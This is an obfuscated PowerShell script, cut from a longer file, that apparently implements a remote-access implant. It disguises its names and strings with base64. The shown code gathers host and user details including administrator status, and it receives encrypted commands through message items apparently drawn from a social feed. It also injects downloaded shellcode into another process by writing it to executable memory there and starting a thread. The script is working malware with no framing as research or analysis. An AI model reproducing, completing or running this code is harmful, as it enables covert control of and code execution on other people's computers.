${/=\/\/==\___/====} = [System.Net.WebRequest]::GetSystemWebProxy()
If (!${/=\/\/==\___/====}.IsBypassed(${__/==\____/==\_/\})) {
${/=\/\/==\___/====}.Credentials = [System.Net.CredentialCache]::DefaultCredentials
${/=\__/==\_/\___/\}.Proxy = ${/=\/\/==\___/====}
}
${__/==\_/\_/\/\/==} = ${/=\__/==\_/\___/\}.GetResponse()
${___/\_/==\/\___/=} = new-object System.IO.StreamReader(${__/==\_/\_/\/\/==}.GetResponseStream())
$Output.Value = ${___/\_/==\/\___/=}.ReadToEnd()
${___/\_/==\/\___/=}.Close()
${__/==\_/\_/\/\/==}.Close()
${/=\__/==\_/\___/\}.Abort()
Return
}
}
Function _/======\/\_/=\_/\ {
Param (
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
$Output.Value = (Get-WmiObject Win32_Volume | Where { $_.SystemVolume -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VAByAHUAZQA=')))}).SerialNumber
Return
}
}
Function __/=\__/======\/== {
Param (
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
$Output.Value = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
Return
}
}
Function __/\________/\_/\/ {
Param (
[Parameter(Mandatory=$true)]
[string]$String,
[Parameter(Mandatory=$true)]
[UInt32]${___/====\/==\_/==\},
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.ArrayList]$Output
)
Process {
${/==\/=\/\/=\/\_/\} = New-Object System.Collections.ArrayList
${/==\_/\___/\/====} = ${___/====\/==\_/==\}
${_/\______/\_/\/==} = $String.Length % ${___/====\/==\_/==\}
${_/\/=\/==\____/\/} = 0
${____/=\_/=\/\/\/\} = $String.Length - ${_/\______/\_/\/==}
While (${_/\/=\/==\____/\/} -lt ${____/=\_/=\/\/\/\}) {
${/==\/=\/\/=\/\_/\}.Add($String.SubString(${_/\/=\/==\____/\/}, ${/==\_/\___/\/====}))
${_/\/=\/==\____/\/} += ${/==\_/\___/\/====}
}
If (${_/\______/\_/\/==} -gt 0) {
${/==\/=\/\/=\/\_/\}.Add($String.SubString(${_/\/=\/==\____/\/}, ${_/\______/\_/\/==}))
}
$Output.Clear()
$Output.AddRange(${/==\/=\/\/=\/\_/\})
Return
}
}
Function Get-JsonFromArray {
Param (
[Parameter(Mandatory=$true)]
[System.Collections.ArrayList]$ArrayList,
[Parameter(Mandatory=$true)]
[ref]$Output
)
Begin {
[void][System.Reflection.Assembly]::LoadWithPartialName($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBXAGUAYgAuAEUAeAB0AGUAbgBzAGkAbwBuAHMA'))))
}
Process {
${/=\/==\___/==\/\/} = New-Object System.Web.Script.Serialization.JavaScriptSerializer
$Output.Value = ${/=\/==\___/==\/\/}.Serialize($ArrayList)
Return
}
}
Function __/=\__/\/==\/\__/ {
Param (
[Parameter(Mandatory=$true)]
[AllowEmptyString()]
[String]${____/\__/\/==\_/=\},
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.ArrayList]$Output
)
Begin {
[void][System.Reflection.Assembly]::LoadWithPartialName($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBXAGUAYgAuAEUAeAB0AGUAbgBzAGkAbwBuAHMA'))))
}
Process {
Try {
${/=\/==\___/==\/\/} = New-Object System.Web.Script.Serialization.JavaScriptSerializer
${___/\__/=\__/====} = ${/=\/==\___/==\/\/}.DeserializeObject(${____/\__/\/==\_/=\})
$Output.AddRange(${___/\__/=\__/====})
} Catch {}
Return
}
}
Function ____/\__/========\ {
Param (
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[String] ${_/==\/\_____/=\/\/},
[Parameter(Mandatory=$true)]
[ref] $Output
)
Process {
${/=\_____/==\_____} = @()
Try {
If (${_/==\/\_____/=\/\/}.Length % 2 -eq 0) {
For (${_/\_/\/\/=\/\/=\_} = 0; ${_/\_/\/\/=\/\/=\_} -lt ${_/==\/\_____/=\/\/}.Length; ${_/\_/\/\/=\/\/=\_} += 2) {
${________/\/==\/\/} = ${_/==\/\_____/=\/\/}[${_/\_/\/\/=\/\/=\_}] + ${_/==\/\_____/=\/\/}[${_/\_/\/\/=\/\/=\_} + 1]
${/=\_____/==\_____} += [Convert]::ToByte(${________/\/==\/\/}, 16)
}
}
} Catch {}
$Output.Value = ${/=\_____/==\_____}
Return
}
}
Function Get-CompressedString ($String) {
${____/\___/==\/=\/} = New-Object System.IO.MemoryStream
${__/\/\_/=\/\_/=\_} = New-Object System.IO.Compression.GZipStream(${____/\___/==\/=\/}, [System.IO.Compression.CompressionMode]::Compress)
${/==\_/=\__/\/\/\_} = New-Object System.IO.StreamWriter(${__/\/\_/=\/\_/=\_})
${/==\_/=\__/\/\/\_}.Write($String)
${/==\_/=\__/\/\/\_}.Close()
$Output = [System.Convert]::ToBase64String(${____/\___/==\/=\/}.ToArray())
Return $Output
}
function Get-DecompressedString ($Base64String) {
$Input = [System.Convert]::FromBase64String($Base64String)
${____/\___/==\/=\/} = New-Object System.IO.MemoryStream
${____/\___/==\/=\/}.Write($Input, 0, $Input.Length)
${____/\___/==\/=\/}.Seek(0,0) | Out-Null
${____/===\/======\} = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream(${____/\___/==\/=\/}, [System.IO.Compression.CompressionMode]::Decompress))
$Output = ${____/===\/======\}.ReadToEnd();
Return $Output
}
Function ____/==\_/==\____/ {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$true)]
[ValidateSet('basic','detailed')]
[string]${___/\_/\/\_/\/\/\/},
[Parameter(Mandatory=$true)]
[ref]$Output
)
Begin {
[void][System.Reflection.Assembly]::LoadWithPartialName($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBXAGUAYgAuAEUAeAB0AGUAbgBzAGkAbwBuAHMA'))))
}
Process {
${_______/\_/\_/=\/} = [environment]::MachineName
${_/\__/====\__/==\} = [environment]::UserDomainName
${______/==\_/\____/} = [environment]::UserName
${__/=\/===\______/} = [environment]::OSVersion.Version.ToString() + " "
${__/=\/===\______/} += [environment]::OSVersion.ServicePack.Replace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHIAdgBpAGMAZQA='))), "S").Replace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABhAGMAawA='))), "P").Replace(" ", "")
${/=\/\/\/===\__/\/} = If ([Environment]::Is64BitProcess) {"64"} Else {"32"}
${__/\_/\/=\__/===\} = If ([Environment]::Is64BitOperatingSystem) {"64"} Else {"32"}
${__/=\/\/\_/\/=\/\} = $(whoami /groups | Select-String $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFwAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzAA=='))) -Quiet)
${/=\/\_/=====\/=\/} = @{}
Switch (${___/\_/\/\_/\/\/\/}) {
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YgBhAHMAaQBjAA=='))) {
${/=\/\_/=====\/=\/}.Add("H", ${_______/\_/\_/=\/})
${/=\/\_/=====\/=\/}.Add("U", ${______/==\_/\____/})
${/=\/\_/=====\/=\/}.Add("A", ${__/=\/\/\_/\/=\/\})
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZABlAHQAYQBpAGwAZQBkAA=='))) {
${/=\/\_/=====\/=\/}.Add("H", ${_______/\_/\_/=\/})
${/=\/\_/=====\/=\/}.Add("D", ${_/\__/====\__/==\})
${/=\/\_/=====\/=\/}.Add("U", ${______/==\_/\____/})
${/=\/\_/=====\/=\/}.Add("O", ${__/=\/===\______/})
${/=\/\_/=====\/=\/}.Add("PB", ${/=\/\/\/===\__/\/})
${/=\/\_/=====\/=\/}.Add("OB", ${__/\_/\/=\__/===\})
${/=\/\_/=====\/=\/}.Add("A", ${__/=\/\/\_/\/=\/\})
}
}
${/=\/==\___/==\/\/} = New-Object System.Web.Script.Serialization.JavaScriptSerializer
$Output.Value = ${/=\/==\___/==\/\/}.Serialize(${/=\/\_/=====\/=\/})
Return
}
}
Function _/==\_/\/\/===\/\_ {
Param (
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.Queue] ${__/\_/==\__/=\___/},
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.Queue] ${____/\_/==\/==\/\/},
[Parameter(Mandatory=$true)]
[string] $Password,
[Parameter(Mandatory=$true)]
[UInt32]${_____/\/\/==\___/\},
[Parameter(Mandatory=$true)]
[AllowNull()]
[Byte[]]${___/\/\__/\_/=\_/\},
[Parameter(Mandatory=$true)]
[AllowEmptyString()]
[String]${_______/\/\_/=====},
[Parameter(Mandatory=$true)]
[Ref]${__/=======\__/\_/\},
[Parameter(Mandatory=$true)]
[Ref]${_/=\/\/=\__/\___/=},
[Parameter(Mandatory=$true)]
[Ref]${_/=\_/\_/\__/\/=\/}
)
Process {
${__/====\__/=\/===} = $Command.Command.ToUpper().Split(":")
Switch -regex (${__/====\__/=\/===}[0]) {
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBZAE4A'))) {
${/===\__/\/====\/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBDAEsA')))
${/=\__/\_____/\_/\} = New-Object System.Collections.ArrayList
$null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ ${/=\/=\/\/===\/\_/}.RequestID -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${/=\__/\_____/\_/\}
Foreach (${_/=\___/=\/==\/==} in ${/=\__/\_____/\_/\}) {
${____/\_/==\/==\/\/}.Enqueue(${_/=\___/=\/==\/==})
}
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBZAFMASQBOAEYATwA='))) {
${/===\__/\/====\/=} = $null
$null = ____/==\_/==\____/ -___/\_/\/\_/\/\/\/ detailed -Output ([ref]${/===\__/\/====\/=})
${/=\__/\_____/\_/\} = New-Object System.Collections.ArrayList
$null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ ${/=\/=\/\/===\/\_/}.RequestID -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${/=\__/\_____/\_/\}
Foreach (${_/=\___/=\/==\/==} in ${/=\__/\_____/\_/\}) {
${____/\_/==\/==\/\/}.Enqueue(${_/=\___/=\/==\/==})
}
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBOAEUAVwBTAEgARQBMAEwAQwBPAEQARQAoADMAMgB8ADYANAApACQA'))) {
${__/==\/==\__/===\} = ${__/====\__/=\/===}[1]
${_/\/===\_/==\___/} = $null
$null = ____/\__/========\ -_/==\/\_____/=\/\/ ${__/==\/==\__/===\} -Output ([ref]${_/\/===\_/==\___/})
${_/\_____/=\_/\_/\/} = If (${__/====\__/=\/===}[0] -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBFAFcAUwBIAEUATABMAEMATwBEAEUAMwAyAA==')))) {$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA4ADYA')))} Else {$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))}
If (${_/\/===\_/==\___/}.Length -gt 0) {
${____/===\/===\_/=\} = $null
_/==\/=\/===\_/==\ -___/=\_/\/=\/\/\/\ ${_/\/===\_/==\___/} -_/\_____/=\_/\_/\/ ${_/\_____/=\_/\_/\/} -Output ([ref]${____/===\/===\_/=\})
If (${__/=======\__/\_/\} -ne 0 -and ${_____/\/\/==\___/\} -ne 0) {
$null = __/\/\/\_/\_/\__/= -____/===\/===\_/=\ ${_____/\/\/==\___/\}
}
${__/=======\__/\_/\}.Value = ${____/===\/===\_/=\}
${_/=\/\/=\__/\___/=}.Value = ${_/\/===\_/==\___/}
${_/=\_/\_/\__/\/=\/}.Value = ${_/\_____/=\_/\_/\/}
}
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBFAFMAVABBAFIAVABTAEgARQBMAEwAQwBPAEQARQA='))) {
If (${_____/\/\/==\___/\} -ne 0) {
$null = __/\/\/\_/\_/\__/= -____/===\/===\_/=\ ${_____/\/\/==\___/\}
}
If (${___/\/\__/\_/=\_/\} -ne "" -and ${_______/\/\_/=====} -ne "") {
${____/===\/===\_/=\} = $null
_/==\/=\/===\_/==\ -___/=\_/\/=\/\/\/\ ${___/\/\__/\_/=\_/\} -_/\_____/=\_/\_/\/ ${_______/\/\_/=====} -Output ([ref]${____/===\/===\_/=\})
${__/=======\__/\_/\}.Value = ${____/===\/===\_/=\}
${_/=\/\/=\__/\___/=}.Value = ${___/\/\__/\_/=\_/\}
${_/=\_/\_/\__/\/=\/}.Value = ${_______/\/\_/=====}
}
}
}
}
}
Function __/\_/\/=\/=\_/=\_ {
Param (
[Parameter(Mandatory=$true)]
[System.Collections.ArrayList]${__/=\/\__/====\/=\},
[Parameter(Mandatory=$true)]
[string]$TargetID,
[Parameter(Mandatory=$true)]
[string]$Password,
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.ArrayList]$Output
)
Process {
${__/\_/==\__/=\___/} = @{}
foreach (${/==\__/==\______/} in ${__/=\/\__/====\/=\}) {
${__/==\/====\_/\/=\} = ${/==\__/==\______/}.text
${___/\___/=\___/=\} = ${/==\__/==\______/}.id
Try {
If (${__/==\/====\_/\/=\}[0] -eq "0") {
${__/=\/=\__/\_/\__} = ${__/==\/====\_/\/=\}.split(":")
If (${__/=\/=\__/\_/\__}.Length -eq 8 -or ${__/=\/=\__/\_/\__}.Length -eq 6) {
If (${__/=\/=\__/\_/\__}[1] -eq $TargetID -or ${__/=\/=\__/\_/\__}[1] -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAwADAAMAAwADAAMAAwADAAMAA=')))) {
${/=\_/===\/=\_/\/\} = ${__/=\/=\__/\_/\__}[1] + ${__/=\/=\__/\_/\__}[2]
${/===\/\__/\/=\/\/} = [INT]${__/=\/=\__/\_/\__}[3]
If (${__/\_/==\__/=\___/}.ContainsKey(${/=\_/===\/=\_/\/\})) {
${/=\/=\/\/===\/\_/} = ${__/\_/==\__/=\___/}[${/=\_/===\/=\_/\/\}]
If (${/===\/\__/\/=\/\/} -eq 1) {
${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[7])
${/=\/=\/\/===\/\_/}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBhAGwAdAA='))), ${__/=\/=\__/\_/\__}[5])
${/=\/=\/\/===\/\_/}.Add("IV", ${__/=\/=\__/\_/\__}[6])
} else {
${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[5])
}
${/=\/=\/\/===\/\_/}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VAB3AGUAZQB0AEwAaQBzAHQA')))].Add(${/==\__/==\______/})
} else {
${/=\/=\/\/===\/\_/} = @{}
${/=\/=\/\/===\/\_/}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABhAHIAZwBlAHQASQBEAA=='))), ${__/=\/=\__/\_/\__}[1])
${/=\/=\/\/===\/\_/}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAHEAdQBlAHMAdABJAEQA'))), ${__/=\/=\__/\_/\__}[2])
${/=\/=\/\/===\/\_/}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgA'))), [INT]${__/=\/=\__/\_/\__}[4])
If (${/===\/\__/\/=\/\/} -eq 1) {
${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[7])
${/=\/=\/\/===\/\_/}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBhAGwAdAA='))), ${__/=\/=\__/\_/\__}[5])
${/=\/=\/\/===\/\_/}.Add("IV", ${__/=\/=\__/\_/\__}[6])
} else {
${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[5])
}
${/=\/\/=\/=\/\__/=} = New-Object System.Collections.ArrayList
${/=\/\/=\/=\/\__/=}.Add(${/==\__/==\______/})
${/=\/=\/\/===\/\_/}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VAB3AGUAZQB0AEwAaQBzAHQA'))), ${/=\/\/=\/=\/\__/=})
${__/\_/==\__/=\___/}.Add(${/=\_/===\/=\_/\/\}, ${/=\/=\/\/===\/\_/})
}
}
}
}
} Catch {
Continue
}
}
${___/\___/=\_/\/==} = New-Object System.Collections.ArrayList
${_/=\/=\_/=\/=\___} = New-Object System.Collections.ArrayList
Foreach (${/=\/=\/\/===\/\_/} in ${__/\_/==\__/=\___/}.Values) {
${/=\/\__/\/=\_/===} = ${/=\/=\/\/===\/\_/}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgA')))]
${_/==\/=\__/\/\__/} = ""
${_/\/=\/==\____/\/} = 1
${__/===\/==\/=====} = $True
While (${_/\/=\/==\____/\/} -le ${/=\/\__/\/=\_/===}) {
If (!${/=\/=\/\/===\/\_/}[${_/\/=\/==\____/\/}]) {
${__/===\/==\/=====} = $false
break
}
${_/==\/=\__/\/\__/} += ${/=\/=\/\/===\/\_/}[${_/\/=\/==\____/\/}]
${_/\/=\/==\____/\/} += 1
}
If (!${__/===\/==\/=====}) {
${___/\___/=\_/\/==}.AddRange(${/=\/=\/\/===\/\_/}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VAB3AGUAZQB0AEwAaQBzAHQA')))])
Continue
}
Try {
${_/==\_/\/=\_/=\/\/} = ${/=\/=\/\/===\/\_/}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBhAGwAdAA=')))]
${_/\/====\/\/=====} = ${/=\/=\/\/===\/\_/}["IV"]
${________/==\_/\/==} = $null
$null = __/===\/========== -___/=\/=\/\__/===\ ${_/==\/=\__/\/\__/} -__/\_/=\/=\/=\__/\ $Password -_/==\_/\/=\_/=\/\/ ${_/==\_/\/=\_/=\/\/} -__/\__/==\/=\/==\_ ${_/\/====\/\/=====} -Output ([ref]${________/==\_/\/==})
} Catch {
${________/==\_/\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VQBOAFIARQBBAEQAQQBCAEwARQA=')))
}
${_/\/=\___/=\_/\/=} = @{}
${_/\/=\___/=\_/\/=}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABhAHIAZwBlAHQASQBEAA=='))), ${/=\/=\/\/===\/\_/}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABhAHIAZwBlAHQASQBEAA==')))])
${_/\/=\___/=\_/\/=}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAHEAdQBlAHMAdABJAEQA'))), ${/=\/=\/\/===\/\_/}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAHEAdQBlAHMAdABJAEQA')))])
${_/\/=\___/=\_/\/=}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBvAG0AbQBhAG4AZAA='))), ${________/==\_/\/==})
${_/=\/=\_/=\/=\___}.Add(${_/\/=\___/=\_/\/=})
}
${__/=\/\__/====\/=\}.Clear()
${__/=\/\__/====\/=\}.AddRange(${___/\___/=\_/\/==})
$Output.Clear()
$Output.AddRange(${_/=\/=\_/=\/=\___})
Return
}
}
Function _/=\__/==\/==\__/= {
Param (
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.ArrayList]${__/=\/\__/====\/=\},
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
${_/\/=\/=\___/\/==} = 0
Foreach (${/==\__/==\______/} in ${__/=\/\__/====\/=\}) {
If (${/==\__/==\______/}.id -gt ${_/\/=\/=\___/\/==}) {
${_/\/=\/=\___/\/==} = ${/==\__/==\______/}.id
}
}
If (${_/\/=\/=\___/\/==} -gt 0) {
$Output.Value = ${_/\/=\/=\___/\/==}
}
Return
}
}
Function _/=\__/==\/==\/=\/ {
Param (
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[UInt32] ${____/===\/===\_/=\},
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[Byte[]] ${___/=\_/\/=\/\/\/\},
[Parameter(Mandatory=$true)]
[ValidateSet('x86','x64')]
[String] ${_/\_____/=\_/\_/\/}
)
Try {
Get-Process -Id ${____/===\/===\_/=\} -ErrorAction Stop
} Catch {
Throw
}
Function Local:_/=\_/====\/\_/=\/
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
${_/=\/==\/=\__/\_/\} = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
${____/\_/\/\/==\/=\} = [Void]
)
${_/\__/====\__/==\} = [AppDomain]::CurrentDomain
${___/===\/\_/=====} = New-Object System.Reflection.AssemblyName($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGYAbABlAGMAdABlAGQARABlAGwAZQBnAGEAdABlAA=='))))
${_/\__/\__/=\___/\} = ${_/\__/====\__/==\}.DefineDynamicAssembly(${___/===\/\_/=====}, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
${/=\/==\/\/\_/\_/\} = ${_/\__/\__/=\___/\}.DefineDynamicModule($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAE0AZQBtAG8AcgB5AE0AbwBkAHUAbABlAA=='))), $false)
${_/=\_/\_/\/===\/=} = ${/=\/==\/\/\_/\_/\}.DefineType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQB5AEQAZQBsAGUAZwBhAHQAZQBUAHkAcABlAA=='))), $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBsAGEAcwBzACwAIABQAHUAYgBsAGkAYwAsACAAUwBlAGEAbABlAGQALAAgAEEAbgBzAGkAQwBsAGEAcwBzACwAIABBAHUAdABvAEMAbABhAHMAcwA='))), [System.MulticastDelegate])
${____/\/=\___/=\/=} = ${_/=\_/\_/\/===\/=}.DefineConstructor($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjAA=='))), [System.Reflection.CallingConventions]::Standard, ${_/=\/==\/=\__/\_/\})
${____/\/=\___/=\/=}.SetImplementationFlags($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAA='))))
${__/\/\_______/=\/} = ${_/=\_/\_/\/===\/=}.DefineMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAHYAbwBrAGUA'))), $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsAA=='))), ${____/\_/\/\/==\/=\}, ${_/=\/==\/=\__/\_/\})
${__/\/\_______/=\/}.SetImplementationFlags($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAA='))))
Write-Output ${_/=\_/\_/\/===\/=}.CreateType()
}
Function Local:__/\__/\_/=\/=\/==
{
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
${__/\/=======\_/\_/},
[Parameter( Position = 1, Mandatory = $True )]
[String]
${___/=\/==\__/=\/\_}
)
${_/==\/\_/\___/\/=} = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }
${__/\/\__/=\_/\/==} = ${_/==\/\_/\___/\/=}.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIALgBVAG4AcwBhAGYAZQBOAGEAdABpAHYAZQBNAGUAdABoAG8AZABzAA=='))))
${_/\__/\___/\/=\/\} = ${__/\/\__/=\_/\/==}.GetMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUA'))))
${_/=\___/\___/\_/\} = ${__/\/\__/=\_/\/==}.GetMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQAUAByAG8AYwBBAGQAZAByAGUAcwBzAA=='))))
${_______/\/===\/==} = ${_/\__/\___/\/=\/\}.Invoke($null, @(${__/\/=======\_/\_/}))
${___/\/=\_/==\/==\} = New-Object IntPtr
${_/=\_/=\/\_/\/\_/} = New-Object System.Runtime.InteropServices.HandleRef(${___/\/=\_/==\/==\}, ${_______/\/===\/==})
Write-Output ${_/=\___/\___/\_/\}.Invoke($null, @([System.Runtime.InteropServices.HandleRef]${_/=\_/=\/\_/\/\_/}, ${___/=\/==\__/=\/\_}))
}
Function Local:____/=\/\/\/=====\ ([IntPtr] ${____/=\/===\/=\/==}, [IntPtr] ${___/======\____/\_}, [Int] ${__/\_/===\___/\__/})
{
${_/\__/=\/==\__/\/} = ${__/\_/===\___/\__/} / 8
Function Local:_/\____/=\___/=\/= ([IntPtr] ${_/==\/=\_/=\/\/=\_})
{
${/=\_/\/=====\/\_/} = New-Object Byte[](0)
${_/==\/=\_/=\/\/=\_}.ToString("X$(${_/\__/=\/==\__/\/}*2)") -split $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KABbAEEALQBGADAALQA5AF0AewAyAH0AKQA='))) | ForEach-Object { if ($_) { ${/=\_/\/=====\/\_/} += [Byte] ($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAB4AHsAMAB9AA=='))) -f $_) } }
[System.Array]::Reverse(${/=\_/\/=====\/\_/})
Write-Output ${/=\_/\/=====\/\_/}
}
${/\______/=====\__} = New-Object Byte[](0)
If (${_/\__/=\/==\__/\/} -eq 8)
{
[Byte[]] ${/\______/=====\__} = 0x48,0xB8
${/\______/=====\__} += _/\____/=\___/=\/= ${____/=\/===\/=\/==}
${/\______/=====\__} += 0xFF,0xD0
${/\______/=====\__} += 0x6A,0x00
${/\______/=====\__} += 0x48,0xB8
${/\______/=====\__} += _/\____/=\___/=\/= ${___/======\____/\_}
${/\______/=====\__} += 0xFF,0xD0
} Else {
[Byte[]] ${/\______/=====\__} = 0xB8
${/\______/=====\__} += _/\____/=\___/=\/= ${____/=\/===\/=\/==}
${/\______/=====\__} += 0xFF,0xD0
${/\______/=====\__} += 0x6A,0x00
${/\______/=====\__} += 0xB8
${/\______/=====\__} += _/\____/=\___/=\/= ${___/======\____/\_}
${/\______/=====\__} += 0xFF,0xD0
}
Write-Output ${/\______/=====\__}
}
Function Local:____/==\/\/\_/=\__ ([Int] ${____/===\/===\_/=\}) {
${_/\/===\____/=\_/} = ${/==\/\_/\____/\_/}.Invoke(0x001F0FFF, $false, ${____/===\/===\_/=\})
If (!${_/\/===\____/=\_/}) {
Throw
}
If (${_/\___/=\_/\_/\/\}) {
${/==\__/==\_/==\_/} = $false
${/====\/\__/=\_/\_}.Invoke(${_/\/===\____/=\_/}, [Ref] ${/==\__/==\_/==\_/}) | Out-Null
If (!${/==\__/==\_/==\_/}) {
If (${___/\_/===\__/\_/}) {
Throw
} Else {
If (${_/\_____/=\_/\_/\/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA4ADYA')))) {
Throw
}
}
} Else {
If (${_/\_____/=\_/\_/\/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))) {
Throw
}
}
} Else {
If (${_/\_____/=\_/\_/\/} -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA4ADYA')))) {
Throw
}
}
${_/\/\__/\_/\_/\/\} = ${_/\___/=\/\/=====}.Invoke(${_/\/===\____/=\_/}, [IntPtr]::Zero, ${___/=\_/\/=\/\/\/\}.Length + 1, 0x3000, 0x40)
If (!${_/\/\__/\_/\_/\/\}) {
Throw
}
${_/=\/\_____/====\}.Invoke(${_/\/===\____/=\_/}, ${_/\/\__/\_/\_/\/\}, ${___/=\_/\/=\/\/\/\}, ${___/=\_/\/=\/\/\/\}.Length, [Ref] 0) | Out-Null
${___/======\____/\_} = __/\__/\_/=\/=\/== kernel32.dll ExitThread
If (${_/\___/=\_/\_/\/\} -and !${/==\__/==\_/==\_/}) {
${/\______/=====\__} = ____/=\/\/\/=====\ ${_/\/\__/\_/\_/\/\} ${___/======\____/\_} 64
} Else {
${/\______/=====\__} = ____/=\/\/\/=====\ ${_/\/\__/\_/\_/\/\} ${___/======\____/\_} 32
}
${___/==\_/==\/==\_} = ${_/\___/=\/\/=====}.Invoke(${_/\/===\____/=\_/}, [IntPtr]::Zero, ${/\______/=====\__}.Length, 0x3000, 0x40)
If (!${___/==\_/==\/==\_}) {
Throw
}
${_/=\/\_____/====\}.Invoke(${_/\/===\____/=\_/}, ${___/==\_/==\/==\_}, ${/\______/=====\__}, ${/\______/=====\__}.Length, [Ref] 0) | Out-Null
